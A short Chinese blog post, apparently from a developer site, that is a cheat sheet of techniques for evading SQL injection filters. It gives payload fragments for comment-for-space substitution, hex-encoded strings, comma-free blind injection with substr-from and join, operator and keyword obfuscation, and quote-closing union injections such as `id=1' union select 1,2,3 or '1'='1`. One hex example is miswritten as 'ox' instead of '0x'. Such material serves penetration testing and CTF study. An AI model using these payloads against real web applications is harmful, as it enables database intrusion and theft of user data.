sql绕过技巧

sql绕过的方式一般有如下几种:

1.大小写绕过

2.堆叠绕过

3.编码绕过

4.内联注释

常见绕过

  • 绕空格:

1.用注释替换空格
select/**/user,password/**/from /**/users;
2.空格url编码%20
3.两个空格代替一个空格
4.用Tab代替空格
5.%a0=空格
6.如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
7.回车

  • 绕引号

使用十六进制如下图:

select column_name from information_schema.columns where table_name=‘flag’;

转化完后写成如下格式:

select column_name from information_schema.columns where table_name=ox666c6167;

  • 宽字节注入

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

1.对于substr()和mid()这两个方法可以使用from的方式来解决:
select substr(database() from 1 for 1);

2.使用join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b

3.使用like
select ascii(mid(user(),1,1))=80 可以使用下面的句子代替
select user() like ‘r%’

4.limit中,使用offset绕过
limit 1offset0

or and xor not绕过
1.利用符号替换and = && or=|| xor=| not=!
2.在敏感词中添加注释:an/**/d
3.双写绕过oorr
4.大小写变形
5.编码

注释符绕过
1.id=1’ union select 1,2,3 or ‘1’=‘1 即虽然无法使用注释符,但是可以闭合掉他 或者:id=1’ union select 1,2,‘3
2.最后添加or 1’
3.最后添加 and ‘1’='1

等于号绕过
1.使用like
2.使用!<>,因为<>是不等于
3.regrep (正则表达匹配)

<>被过滤
1.greatest(),least()
2.strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
3.in,between a and b

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值